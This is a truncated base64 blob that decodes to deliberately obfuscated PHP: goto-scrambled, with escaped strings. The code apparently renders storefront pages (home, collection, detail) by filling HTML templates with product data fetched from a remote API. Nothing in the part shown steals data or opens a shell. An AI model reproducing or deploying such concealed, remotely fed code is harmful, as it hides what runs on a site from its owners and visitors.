JcNTdcMTM0XHgyZlx4NzNceDc0XDE0MVx4NzRceDY5XDE0M1x4NWNcNTdceDI4XDU2XHgyYVw1MVw1NyIsICJ7JFZWUlc0fVw3N1x4NzRcNzVcMTYzXHg3NFwxNDFceDc0XHg2OVwxNDNceDI2XHg3MFw3NVx4NzNcMTY0XDE0MVwxNjRcMTUxXDE0M1w0Nlx4NjVcNzVceDI0XHgzMSIsICRSb19mUSk7IGdvdG8gSU53SFg7IGRMdHM3OiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNceDdiXHg2Nlx4NmZceDZmXHg3NFx4NjVceDcyXHg1ZlwxNDNceDZmXDE2MFx4NzlcMTYyXDE1MVwxNDdcMTUwXDE2NFx4N2RceDdkXHgyZiIsICRiZXZqUywgJFJvX2ZRKTsgZ290byBDMFJ1WDsgQXVLX006ICRjQW9ESiA9ICR0aGlzLT5qdm5iaigkTjJaMzIpOyBnb3RvIFgyWnpTOyBtWFV0cTogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJceDJmXHg1Y1x4MmZceDc3XHg3MFw1NVx4NjlcMTU2XDE0M1wxNTRceDc1XDE0NFwxNDVceDczXDEzNFx4MmZcNTBcNTZceDJhXDUxXDU3IiwgInskVlZSVzR9XDc3XDE2NFw3NVx4NzNceDc0XHg2MVx4NzRcMTUxXDE0M1w0Nlx4NzBcNzVceDc3XDE2MFx4MmRceDY5XDE1NlwxNDNcMTU0XHg3NVwxNDRceDY1XDE2M1x4MjZceDY1XDc1XHgyNFw2MSIsICRSb19mUSk7IGdvdG8gQWxIcUE7IE5rMExiOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTM0XDU3XDE0M1wxNTdceDZjXDE1NFx4NjVcMTQzXHg3NFwxNTFcMTU3XHg2ZVwxMzRceDJmXHg1Zlx4MjhcMTMzXHg1ZVx4MmVceDVjXHgyZlx4NWRcNTNcNTFcMTM0XDU3XHgyOFx4NWNcMTQ0XDUzXDUxXDEzNFw1N1w1MFx4NWNcMTQ0XDUzXDUxXHg1Y1w1Nlx4NjhcMTY0XDE1NVwxNTRcNTciLCAieyRWVlJXNH1cNzdceDc0XHgzZFwxNDNceDZmXDE1NFx4NmNceDY1XDE0M1wxNjRcMTUxXHg2ZlwxNTZcNDZcMTUxXDc1XDQ0XDYxXHgyNlx4NmVceDNkXHgyNFx4MzJcNDZceDczXHgzZFx4MjRcNjMiLCAkUm9fZlEpOyBnb3RvIElBeTlTOyB1RlN1RjogaWYgKCR0aGlzLT5jdUF1MyB8fCBzdHJpcG9zKCRfU0VSVkVSWyJcMTIzXHg0NVwxMjJceDU2XHg0NVx4NTJcMTM3XDEyM1x4NGZcMTA2XHg1NFx4NTdcMTAxXDEyMlx4NDUiXSwgIlwxNTZceDY3XHg2OVwxNTZcMTcwIikgIT09IGZhbHNlKSB7IGdvdG8gd0F6UGE7IH0gZ290byBsaUd3UzsgV3VBb206ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JceDdiXDE2MFx4NzJceDZmXHg2NFx4NzVceDYzXHg3NFx4NWZceDYzXDE0MVx4NzRcMTQ1XDE0N1x4NmZceDcyXHg3OVwxNzVcMTc1XHgyZiIsICRjQW9ESiwgJFJvX2ZRKTsgZ290byBTN1lCbTsgWDJaelM6ICRBYkw2WiA9ICR0aGlzLT5KVm5iaigkTjJaMzIsIHRydWUpOyBnb3RvIFd1QW9tOyBwcXREeTogd0F6UGE6IGdvdG8gQ3BNUmg7IHZhOHVROiB9IHB1YmxpYyBmdW5jdGlvbiBWNmJJRSgpIHsgZ290byBhbmZDQTsgajd4Y2s6ICRSb19mUSA9ICR0aGlzLT5RSWZIUygkUm9fZlEpOyBnb3RvIElMOVR5OyBQSDBVUDogJE4yWjMyID0gJHRoaXMtPkpZR2tLKCk7IGdvdG8gUEpYRko7IFBNT01POiByZXR1cm4gJFJvX2ZROyBnb3RvIERQRVdXOyBkUmpMYzogJEp4VVQ0ID0gJHRoaXMtPkE2ajRMKGFycmF5X21lcmdlKCRmeWpKWSwgWyJ7JGJkcHAwWyJceDYzXHg2MVwxNjRcMTQ1XHg2N1x4NmZceDcyXDE3MVwxMzdceDZlXDE0MVwxNTVceDY1Il19XDEzN3skYmRwcDBbIlwxNDNceDYxXHg3NFx4NjVceDY3XDE1N1x4NzJceDc5XHg1Zlx4NjlceDY0Il19IiA9PiAkcnI5TEtdKSwgc2VsZjo6a3F3QUMsIHNlbGY6OkFnX3F5KTsgZ290byB6dUNsNzsgdXJaNmk6ICRiZHBwMCA9IGFycmF5X3NoaWZ0KCROMlozMik7IGdvdG8gSTMxWEQ7IElMOVR5OiAkUm9fZlEgPSAkdGhpcy0+WXd0X0koJE4yWjMyLCAkUm9fZlEpOyBnb3RvIFBNT01POyB6dUNsNzogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXHg3Ylx4NzBceDcyXDE1N1x4NjRceDc1XHg2M1x4NzRceDVmXHg2Y1x4NjlcMTYzXDE2NFx4N2RceDdkXDU3IiwgJEp4VVQ0WyJceDZjXHg2OVx4NzNcMTY0XHg1Zlx4NjhceDc0XHg2ZFx4NmMiXSwgJFJvX2ZRKTsgZ290byBqN3hjazsgYW5mQ0E6ICRSb19mUSA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRElSX18gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gIlx4NjhceDZmXDE1NVx4NjVceDJlXHg2OFx4NzRcMTU1XHg2YyIpOyBnb3RvIFBIMFVQOyBJMzFYRDogJHJyOUxLID0gJHRoaXMtPmxtZXUyKCRiZHBwMFsiXDE0M1x4NjFceDc0XHg2NVwxNDdceDZmXDE2Mlx4NzlceDVmXDE1MVx4NjQiXSwgc2VsZjo6a3F3QUMsIHNlbGY6OkFnX3F5KTsgZ290byBkUmpMYzsgUEpYRko6ICRmeWpKWSA9ICR0aGlzLT5Vamd4TygpOyBnb3RvIHVyWjZpOyBEUEVXVzogfSBwdWJsaWMgZnVuY3Rpb24gYnNwVTAoKSB7IGdvdG8gRENBTE07IHNpNlZ2OiAkUm9fZlEgPSBmaWxlX2dldF9jb250ZW50cyhfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICJcMTQzXHg2ZlwxNTRcMTU0XDE0NVx4NjNceDc0XDE1MVx4NmZceDZlXHgyZVx4NjhceDc0XHg2ZFwxNTQiKTsgZ290byBZXzB6NzsgT3hvWXE6IHJldHVybiAkUm9fZlE7IGdvdG8gUU9PVVU7IE1CQXhsOiAkUm9fZlEgPSAkdGhpcy0+cUlmSHMoJFJvX2ZRLCAieyRycjlMS1siXHg2YlwxNDVceDc5Il19Iiwgc2VsZjo6eW1RQzcsICRycjlMSyk7IGdvdG8gaklkMTU7IHBPTUprOiB4UEt5MzogZ290byBNQkF4bDsgVEpxV2o6ICRaS2VBRyA9ICR0aGlzLT5sNEM0MCgkYzdFbXgpOyBnb3RvIFpsMWQ2OyBndmVZeTogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXHg3Ylx4NjNcMTU3XDE1NFwxNTRceDY1XHg2M1wxNjRceDY5XHg2ZlwxNTZcMTM3XDE0MlwxNjJceDY1XHg2MVx4NjRceDYzXHg3Mlx4NzVceDZkXDE0MlwxNzVceDdkXDU3IiwgJEp4VVQ0WyJceDYzXHg2ZlwxNTRceDZjXHg2NVwxNDNceDc0XDE1MVx4NmZceDZlXHg1Zlx4NjJceDcyXHg2NVx4NjFceDY0XHg2M1x4NzJcMTY1XDE1NVx4NjJcMTM3XDE1MFx4NzRceDZkXDE1NCJdLCAkUm9fZlEpOyBnb3RvIEFmM1dnOyBZXzB6NzogJHJyOUxLID0gJHRoaXMtPmxtZVUyKCRjN0VteCwgJEdzRlhnLCAkUnhHRHQpOyBnb3RvIGNSdU1XOyBtN25pMjogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJceDJmXHg3Ylx4N2JceDYzXHg2Zlx4NmNceDZjXDE0NVwxNDNceDc0XHg2OVwxNTdceDZlXHg1Zlx4NzNceDc1XDE0Mlx4NWZceDYzXHg2MVwxNjRceDY1XDE0N1x4NmZcMTYyXHg3OVx4N2RcMTc1XDU3IiwgJHBQVzNvLCAkUm9fZlEpOyBnb3RvIHBPTUprOyBjUnVNVzogJEp4VVQ0ID0gJHRoaXMtPkE2ajRMKFskcnI5TEtdLCAkR3NGWGcsICRSeEdEdCk7IGdvdG8gRVdLazI7IERDQUxNOiBsaXN0KCRjN0VteCwgJEdzRlhnLCAkUnhHRHQpID0gWyRfR0VUWyJceDY5Il0sICRfR0VUWyJcMTU2Il0gPzogc2VsZjo6a3F3QUMsICRfR0VUWyJcMTYzIl0gPzogc2VsZjo6QWdfcXldOyBnb3RvIHNpNlZ2OyBzMHdlVjogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1x4NjNcMTU3XHg2Y1x4NmNceDY1XHg2M1x4NzRcMTUxXHg2Zlx4NmVcMTM3XDE2NFwxNjVceDcyXDE1Nlx4NWZceDcwXDE0MVwxNDdcMTQ1XDE3NVx4N2RcNTciLCAkSnhVVDRbIlx4NzRceDc1XDE2Mlx4NmVceDVmXDE2MFwxNDFceDY3XHg2NVwxMzdcMTUwXDE2NFx4NmRcMTU0Il0sICRSb19mUSk7IGdvdG8gZ3ZlWXk7IGpJZDE1OiAkUm9fZlEgPSAkdGhpcy0+eXd0X2koJHRoaXMtPmp5Z0trKCksICRSb19mUSk7IGdvdG8gT3hvWXE7IEVXS2syOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1x4N2JcMTczXHg3MFx4NzJcMTU3XHg2NFx4NzVcMTQzXDE2NFwxMzdcMTU0XDE1MVx4NzNceDc0XDE3NVwxNzVceDJmIiwgJEp4VVQ0WyJceDZjXDE1MVx4NzNceDc0XHg1Zlx4NjhcMTY0XDE1NVx4NmMiXSwgJFJvX2ZRKTsgZ290byBzMHdlVjsgWmwxZDY6ICRwUFczbyA9ICR0aGlzLT5Ic1c0cigkWktlQUcpOyBnb3RvIG03bmkyOyBBZjNXZzogaWYgKCR0aGlzLT5YM0VPaykgeyBnb3RvIHhQS3kzOyB9IGdvdG8gVEpxV2o7IFFPT1VVOiB9IHB1YmxpYyBmdW5jdGlvbiBmTHRkTSgpIHsgZ290byB5dDdBejsgalUzMXE6ICRSb19mUSA9ICR0aGlzLT5xaUZoUygkUm9fZlEsICRhZGFWZ1siXDE0NFx4NjFcMTY0XDE0MSJdWyJceDY5XDE2NFx4NjVcMTU1XHg1Zlx4NjlceDY0Il0sIHNlbGY6Ok1uSTBILCBbXSwgJGFkYVZnWyJcMTQ0XHg2MVwxNjRcMTQxIl0pOyBnb3RvIEd4VV8yOyBjMDJXSDogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJceDJmXDE3M1wxNzNcMTQ0XHg2NVx4NzRceDYxXDE1MVwxNTRcMTM3XDE2MFx4NzJceDZmXHg2NFx4NzVcMTQzXHg3NFwxMzdceDc0XDE1MVwxNjRcMTU0XDE0NVwxNzVcMTc1XHgyZiIsICRNZjFPR1siXHg3NFwxNTFcMTY0XHg2Y1x4NjVceDVmXDE1MFwxNjRcMTU1XDE1NCJdLCAkUm9fZlEpOyBnb3RvIEVpZG5NOyBCN3FaVDogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXHg3Ylx4NjRceDY1XHg3NFwxNDFcMTUxXHg2Y1wxMzdcMTYwXDE2MlwxNTdcMTQ0XHg3NVx4NjNcMTY0XHg1Zlx4NjlceDZkXDE0MVwxNDdcMTQ1XDE2M1wxNzVceDdkXHgyZiIsICRNZjFPR1siXHg2OVx4NmRceDYxXHg2N1x4NjVcMTM3XDE1MFwxNjRceDZkXHg2YyJdLCAkUm9fZlEpOyBnb3RvIGMwMldIOyBHeFVfMjogJFJvX2ZRID0gJHRoaXMtPnl3VF9JKCR0aGlzLT5KeWdLSygpLCAkUm9fZlEpOyBnb3RvIFJrR0M1OyBpZElJYzogJHJBVmdVID0gJHRoaXMtPmE2ajRsKFskYWRhVmdbIlx4NzJcMTQ1XHg2M1wxNTdcMTU1XDE1NVx4NjVceDZlXHg2NFx4NzMiXV0pOyBnb3RvIFZQN3lVOyBjYnB5QjogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJceDJmXHg3Ylx4N2JcMTQ0XDE0NVx4NzRceDYxXHg2OVwxNTRceDVmXDE0Mlx4NzJcMTQ1XHg2MVx4NjRceDYzXHg3Mlx4NzVceDZkXDE0MlwxNzVcMTc1XDU3IiwgJE1mMU9HWyJcMTQyXDE2MlwxNDVceDYxXDE0NFx4NjNceDcyXDE2NVx4NmRceDYyXHg1Zlx4NjhcMTY0XHg2ZFwxNTQiXSwgJFJvX2ZRKTsgZ290byBCN3FaVDsgWEM4TEg6ICRhZGFWZyA9ICR0aGlzLT56VnpBdCgkTUx0UjQsIHNlbGY6OnBLRUVyKTsgZ290byB5QmRVMjsgUmtHQzU6IHJldHVybiAkUm9fZlE7IGdvdG8gYU5FOEo7IFhuSWtzOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNceDdiXHg2NFx4NjVcMTY0XDE0MVx4NjlcMTU0XDEzN1wxNjBceDcyXDE1N1x4NjRceDc1XDE0M1x4NzRcMTM3XHg3Mlx4NjVcMTU0XDE0MVwxNjRcMTQ1XDE0NFwxNzVcMTc1XHgyZiIsICRyQVZnVVsiXHg2Y1x4NjlceDczXHg3NFx4NWZceDY4XDE2NFx4NmRceDZjIl0sICRSb19mUSk7IGdvdG8gZzVWWXA7IHlCZFUyOiAkTWYxT0cgPSAkdGhpcy0+V1NvVG4oJGFkYVZnWyJcMTQ0XHg2MVx4NzRcMTQxIl0sICRhZGFWZ1siXDE1NFx4NjlceDZlXHg2YlwxNjMiXSk7IGdvdG8gaWRJSWM7IFZQN3lVOiAkTDFOdGUgPSAkdGhpcy0+RzVNZ2QoJGFkYVZnWyJcMTQ0XDE0MVwxNjRcMTQxIl0pOyBnb3RvIGNicHlCOyBWNE4wTjogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXDE3M1x4NjRcMTQ1XDE2NFx4NjFcMTUxXDE1NFx4NWZcMTYwXDE2MlwxNTdceDY0XHg3NVwxNDNcMTY0XHg1ZlwxNDRceDY1XDE2M1wxNDNceDcyXHg2OVwxNjBcMTY0XHg2OVx4NmZceDZlXDE3NVx4N2RceDJmIiwgJE1mMU9HWyJcMTQ0XDE0NVx4NzNcMTQzXHg3Mlx4NjlcMTYwXDE2NFwxNTFcMTU3XDE1Nlx4NWZceDY4XDE2NFx4NmRceDZjIl0sICRSb19mUSk7IGdvdG8gWG5Ja3M7IEVpZG5NOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNcMTczXDE0NFx4NjVcMTY0XDE0MVx4NjlcMTU0XDEzN1x4NzBcMTYyXHg2Zlx4NjRceDc1XHg2M1x4NzRcMTM3XHg3MFx4NzJcMTUxXDE0M1wxNDVceDdkXHg3ZFw1NyIsICRNZjFPR1siXHg3MFwxNjJceDY5XDE0M1wxNDVceDVmXDE1MFx4NzRceDZkXDE1NCJdLCAkUm9fZlEpOyBnb3RvIGlzZkI3OyBnNVZZcDogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1x4NjRceDY1XHg3NFx4NjFceDY5XDE1NFwxMzdceDZhXHg3M1wxNTdceDZlXHg1ZlwxNTFceDY0XHg3ZFx4N2RceDJmIiwgJEwxTnRlLCAkUm9fZlEpOyBnb3RvIGpVMzFxOyBiYmw4ZTogJFJvX2ZRID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXDE0NFwxNDVceDc0XHg2MVwxNTFceDZjXHgyZVwxNTBcMTY0XHg2ZFwxNTQiKTsgZ290byBYQzhMSDsgaXNmQjc6ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNzNcMTczXDE0NFx4NjVcMTY0XDE0MVx4NjlcMTU0XDEzN1wxNjBcMTYyXHg2ZlwxNDRceDc1XHg2M1wxNjRcMTM3XDE1NVx4NjVcMTY0XHg2MVx4N2RceDdkXDU3IiwgJE1mMU9HWyJcMTU1XDE0NVx4NzRceDYxXDEzN1x4NjhcMTY0XDE1NVx4NmMiXSwgJFJvX2ZRKTsgZ290byBWNE4wTjsgeXQ3QXo6ICRNTHRSNCA9ICRfR0VUWyJcMTUxIl07IGdvdG8gYmJsOGU7IGFORThKOiB9IHB1YmxpYyBmdW5jdGlvbiBRaWZocygkUm9fZlEsICREZXZ5UyA9ICcnLCAkb0dGODQgPSAnJywgJHJyOUxLID0gW10sICRhZGFWZyA9IFtdKSB7IGdvdG8gaGZWQzE7IE81QnBKOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDdiXDE3M1wxNjRcMTUxXDE2NFwxNTRceDY1XDE3NVwxNzVcNTciLCAkTzJBZWVbIlwxNjRcMTUxXDE2NFwxNTRcMTQ1XDEzN1wxNTBcMTY0XHg2ZFx4NmMiXSwgJFJvX2ZRKTsgZ290byBqVXFkbjsgbmdzbFo6IHJldHVybiAkUm9fZlE7IGdvdG8geXd0UWQ7IGhmVkMxOiAkTzJBZWUgPSAkdGhpcy0+YUdoV3ooJERldnlTLCAkb0dGODQsICRycjlMSywgJGFkYVZnKTsgZ290byBPNUJwSjsgalVxZG46ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JcMTczXHg2YlwxNDVceDc5XHg3N1x4NmZcMTYyXHg2NFx4NzNceDdkXDE3NVx4MmYiLCAkTzJBZWVbIlx4NmJceDY1XHg3OVx4NzdceDZmXHg3Mlx4NjRcMTYzXHg1Zlx4NjhceDc0XDE1NVx4NmMiXSwgJFJvX2ZRKTsgZ290byBSeG5pZTsgUnhuaWU6ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXDU3XHg3YlwxNzNceDY0XDE0NVx4NzNceDYzXDE2MlwxNTFceDcwXHg3NFx4NjlcMTU3XHg2ZVwxNzVcMTc1XDU3IiwgJE8yQWVlWyJceDY0XHg2NVwxNjNceDYzXHg3MlwxNTFcMTYwXHg3NFx4NjlceDZmXHg2ZVx4NWZceDY4XHg3NFx4NmRceDZjIl0sICRSb19mUSk7IGdvdG8gbmdzbFo7IHl3dFFkOiB9IHByaXZhdGUgZnVuY3Rpb24gdWpnWG8oKSB7IGdvdG8gallNTjM7IHpCWjVNOiByZXR1cm4gJHJyOUxLOyBnb3RvIGRyMklCOyBZd1VYeTogcmV0NzU6IGdvdG8gcXVfTXI7IEM5SmxLOiBpZiAoISgkc1Myd1RbIlwxNDNceDZmXHg2NFwxNDUiXSA9PSAyMDAgJiYgaXNzZXQoJHNTMndUWyJceDY0XDE0MVx4NzRcMTQxIl0pICYmICFlbXB0eSgkc1Myd1RbIlx4NjRcMTQxXHg3NFwxNDEiXSkpKSB7IGdvdG8gUllYb3Y7IH0gZ290byBaTUNJaTsgcXVfTXI6IFJZWG92OiBnb3RvIHpCWjVNOyBqWU1OMzogJHNTMndUID0gJHRoaXMtPnF4YVN5KCR0aGlzLT5wZVEzRyAuIHNlbGY6OlE1czJSKTsgZ290byBST0VSTzsgdlc4RGY6IGZvcmVhY2ggKCRDQWIza1siXHg2NFwxNDFceDc0XDE0MSJdIGFzICRNNl9KeCkgeyBnb3RvIFNONk9qOyBMblhBVDogVWtXUEM6IGdvdG8gVTBfWmw7IFNONk9qOiBhcnJheV9wdXNoKCR3c1NfVSwgJE02X0p4WyJcMTQzXHg2MVx4NzRcMTQ1XDE0N1x4NmZceDcyXDE3MSJdKTsgZ290byBjc1N1NTsgY3NTdTU6ICRWdWxTSCA9ICR0aGlzLT55djNnZygiXDE2M1x4NmJceDc1IiAuICRNNl9KeFsiXDE0M1x4NjFceDc0XDE0NVx4NjdcMTU3XHg3Mlx4NzkiXVsiXDE1MVx4NjQiXSk7IGdvdG8gazNaU0M7IGszWlNDOiAkcnI5TEtbInskTTZfSnhbIlwxNDNcMTQxXDE2NFwxNDVceDY3XHg2ZlwxNjJcMTcxIl1bIlwxNTZcMTQxXHg2ZFx4NjUiXX1cMTM3eyRWdWxTSH0iXSA9IGFycmF5X21hcChmdW5jdGlvbiAoJFZtZTZVKSB7ICRuYWFQNiA9ICR0aGlzLT5TTWdQdygkVm1lNlVbIlwxNDNceDc1XDE2Mlx4NzJcMTQ1XHg2ZVx4NzRceDVmXDE2MFx4NzJcMTUxXHg2M1wxNDUiXSk7IHJldHVybiBhcnJheSgiXDE2NFwxNTFceDc0XHg2Y1x4NjUiID0+ICRWbWU2VVsiXDE2NFx4NjlceDc0XDE1NFwxNDUiXSwgIlwxNTFcMTQ0IiA9PiAkdGhpcy0+WXYzZ2coIlx4NzNceDZiXDE2NSIgLiAkVm1lNlVbIlwxNTFceDc0XDE0NVwxNTVceDVmXHg2OVx4NjQiXSksICJceDc1XHg3Mlx4NmMiID0+IHNlbGY6Ok1uSTBIIC4gIlw1NyIgLiAkdGhpcy0+bXRMYU4odWN3b3JkcyhzdHJ0b2xvd2VyKCRWbWU2VVsiXHg3NFwxNTFceDc0XHg2Y1wxNDUiXSkpKSAuICJceDVmIiAuICR0aGlzLT5ZdjNnZygiXDE2M1wxNTNceDc1IiAuICRWbWU2VVsiXHg2OVx4NzRcMTQ1XHg2ZFwxMzdceDY5XHg2NCJdKSAuICJcNTZcMTUwXHg3NFx4NmRcMTU0IiwgIlx4NjNcMTY1XHg3MlwxNjJcMTQ1XDE1NlwxNDNceDc5XHg1ZlwxNjNcMTcxXDE1NVx4NjJceDZmXDE1NCIgPT4gJHRoaXMtPmJiQ1MyKCRWbWU2VVsiXHg2M1x4NzVcMTYyXHg3MlwxNDVcMTU2XHg2M1wxNzFceDVmXHg2OVwxNDQiXSksICJcMTQ0XDE1MVwxNjNcMTYwXHg2Y1wxNDFceDc5XHg1Zlx4NzBceDcyXDE1MVwxNDNcMTQ1IiA9PiAkbmFhUDZbIlwxNDRceDY5XHg3M1wxNjBceDZjXHg2MVwxNzFcMTM3XHg3MFwxNjJceDY5XDE0M1wxNDUiXSwgIlx4NzJceDYxXDE2N1wxMzdcMTYwXDE2Mlx4NjlcMTQzXHg2NSIgPT4gJG5hYVA2WyJceDcyXHg2MVx4NzdceDVmXHg3MFx4NzJceDY5XDE0M1wxNDUiXSwgIlwxNTFceDZkXDE0MVwxNDdceDY1XHg1Zlx4NzNceDcyXHg2MyIgPT4gJFZtZTZVWyJceDYxXHg2Y1wxNDJceDc1XHg2ZCJdKTsgfSwgJE02X0p4WyJcMTUxXHg3NFx4NjVcMTU1XDE2MyJdKTsgZ290byBMblhBVDsgVTBfWmw6IH0gZ290byBZd1VYeTsgUk9FUk86IGxpc3QoJHdzU19VLCAkcnI5TEspID0gYXJyYXkoW10sIFtdKTsgZ290byBDOUpsSzsgWk1DSWk6ICRDQWIzayA9IGpzb25fZGVjb2RlKCRzUzJ3VFsiXHg2NFwxNDFceDc0XDE0MSJdLCB0cnVlKTsgZ290byB2VzhEZjsgZHIySUI6IH0gcHJpdmF0ZSBmdW5jdGlvbiBKWUdrSygpIHsgZ290byB5MTN3UDsgemhjSDM6IGlmICghKCEkTjJaMzIgfHwgIWlzX2FycmF5KCROMlozMikgfHwgZW1wdHkoJE4yWjMyKSB8fCB0aW1lKCkgLSAkTjJaMzJbIlwxNDVceDc4XHg3MFx4NjlceDcyXDE0NSJdID49IHNlbGY6Onhvd21UKSkgeyBnb3RvIHhBc0p6OyB9IGdvdG8gZXdkVzI7IHFEY251OiAkTjJaMzIgPSBhcnJheV9tYXAoZnVuY3Rpb24gKCRWbWU2VSkgeyAkVm1lNlVbIlwxNDNceDYxXHg3NFwxNDVcMTQ3XHg2Zlx4NzJcMTcxXHg1ZlwxNTFcMTQ0Il0gPSAkdGhpcy0+WXYzR0coIlx4NzNcMTUzXHg3NSIgLiAkVm1lNlVbIlx4NjNceDYxXHg3NFwxNDVceDY3XHg2ZlwxNjJceDc5XDEzN1x4NjlceDY0Il0pOyByZXR1cm4gJFZtZTZVOyB9LCAkTjJaMzJbIlwxNDRcMTQxXHg3NFwxNDEiXSk7IGdvdG8gVXc0YzA7IHkxM3dQOiAkSVpxQlcgPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6SzNyVUspOyBnb3RvIHJNR1FiOyBld2RXMjogJHNTMndUID0gJHRoaXMtPnF4QXNZKCR0aGlzLT5wZVEzRyAuIHNlbGY6OnpkWlhyLCBhcnJheSgiXHg3M1x4NzJceDYzIiA9PiAkdGhpcy0+VExlWV8sICJcMTQ1XHg3OFwxNjRceDcyXDE0MSIgPT4gJHRoaXMtPmNrU1pNKSwgWyJceDc4XDU1XDE0MVx4NzBceDcwXDU1XHg2OVwxNDRcNzJcNDB7JHRoaXMtPk1qRmdJfSJdKTsgZ290byByMG1xNjsgTmhoVG06ICROMlozMiA9IGpzb25fZGVjb2RlKCRzUzJ3VFsiXHg2NFx4NjFceDc0XHg2MSJdLCB0cnVlKTsgZ290byB4V0lXejsgVU9FaTE6IGxpN0V0OiBnb3RvIE5oaFRtOyBVdzRjMDogcmV0dXJuICROMlozMjsgZ290byBSOWZNSDsgRHF3OHA6IHhBc0p6OiBnb3RvIHFEY251OyBhWG5RdjogZ290byBzT2REajsgZ290byBVT0VpMTsgcjBtcTY6IGlmICgkc1Myd1RbIlx4NjNcMTU3XDE0NFx4NjUiXSA9PSAyMDAgJiYgaXNzZXQoJHNTMndUWyJceDY0XHg2MVwxNjRcMTQxIl0pICYmICFlbXB0eSgkc1Myd1RbIlwxNDRceDYxXHg3NFwxNDEiXSkpIHsgZ290byBsaTdFdDsgfSBnb3RvIFZXQ3ZjOyBQZDhJTTogJHRoaXMtPmc1QTQxKHNlbGY6OkszclVLLCBqc29uX2VuY29kZSgkTjJaMzIpKTsgZ290byB0Unk2UTsgdFJ5NlE6IHNPZERqOiBnb3RvIERxdzhwOyByTUdRYjogJE4yWjMyID0ganNvbl9kZWNvZGUoJElacUJXLCB0cnVlKTsgZ290byB6aGNIMzsgeFdJV3o6ICROMlozMlsiXDE0NVx4NzhcMTYwXDE1MVwxNjJcMTQ1Il0gPSB0aW1lKCk7IGdvdG8gUGQ4SU07IFZXQ3ZjOiAkTjJaMzIgPSBbXTsgZ290byBhWG5RdjsgUjlmTUg6IH0gcHJpdmF0ZSBmdW5jdGlvbiBMbUVVMigkYzdFbXgsICRHc0ZYZywgJFJ4R0R0KSB7IGdvdG8gbmVoZks7IEpTWlViOiAkdGhpcy0+QlQzWHMoJGhUNm0zWyJcMTQzXDE0MVwxNjRceDY1XDE0N1x4NmZceDcyXHg3OVwxMzdceDY5XDE0NCJdLCBzZWxmOjpHM1NOcCk7IGdvdG8gcEFiYnQ7IEVfNTZDOiAkZGZDdjkgPSBzZWxmOjpoc2h6WTsgZ290byBYZHlXYTsgTjAwcWk6ICRzUzJ3VCA9ICR0aGlzLT5ReGFzeSgkdGhpcy0+cGVRM0cgLiAkZGZDdjksICRoVDZtMywgJGlGaGVKKTsgZ290byBOVWVyTzsgZTBJU3M6IGlmICghKCRycjlMSyAmJiBpc19hcnJheSgkcnI5TEspKSkgeyBnb3RvIEUwUFFVOyB9IGdvdG8gRFF6M2E7IHBBYmJ0OiAkaFQ2bTNbIlwxNjBcMTQxXHg2N1wxNDVceDVmXDE2M1x4NjlcMTcyXDE0NSJdID0gKGludCkgJFJ4R0R0OyBnb3RvIHdKR1N3OyBoQ0NkVTogcmV0dXJuICRYcXFaTDsgZ290byBZd0tVaTsgWl9Mc0I6ICRoVDZtM1siXDE0NVwxNzBcMTY0XHg3Mlx4NjEiXSA9ICR0aGlzLT5ja1NaTTsgZ290byBGaHRIbzsgZHZnSkw6IGZvcmVhY2ggKCRycjlMS1siXDE0NFwxNDFceDc0XDE0MSJdWyJcMTUxXHg3NFx4NjVceDZkXHg3MyJdIGFzICRhZGFWZykgeyBnb3RvIFpXRjlDOyBaV0Y5QzogJG5hYVA2ID0gJHRoaXMtPlNNR1B3KCRhZGFWZ1siXDE0M1x4NzVceDcyXDE2MlwxNDVcMTU2XHg3NFwxMzdceDcwXDE2MlwxNTFceDYzXDE0NSJdKTsgZ290byBDZjlscTsgQ2Y5bHE6ICRYcXFaTFtdID0gYXJyYXkoIlx4NzRceDY5XHg3NFx4NmNcMTQ1IiA9PiAkYWRhVmdbIlx4NzRceDY5XDE2NFwxNTRceDY1Il0sICJcMTUxXDE0NCIgPT4gJHRoaXMtPll2M0dnKCJcMTYzXHg2Ylx4NzUiIC4gJGFkYVZnWyJceDY5XHg3NFwxNDVceDZkXHg1ZlwxNTFceDY0Il0pLCAiXHg3NVx4NzJceDZjIiA9PiBzZWxmOjpNbkkwSCAuICJceDJmIiAuICR0aGlzLT5NVGxhTih1Y3dvcmRzKHN0cnRvbG93ZXIoJGFkYVZnWyJcMTY0XDE1MVx4NzRcMTU0XDE0NSJdKSkpIC4gIlx4NWYiIC4gJHRoaXMtPllWM0dHKCJcMTYzXDE1M1wxNjUiIC4gJGFkYVZnWyJcMTUxXHg3NFx4NjVcMTU1XDEzN1wxNTFceDY0Il0pIC4gIlw1Nlx4NjhceDc0XDE1NVx4NmMiLCAiXHg2M1x4NzVceDcyXHg3Mlx4NjVcMTU2XHg2M1x4NzlcMTM3XHg3M1x4NzlceDZkXHg2Mlx4NmZcMTU0IiA9PiAkdGhpcy0+YmJjUzIoJGFkYVZnWyJcMTQzXHg3NVx4NzJceDcyXDE0NVx4NmVcMTQzXDE3MVx4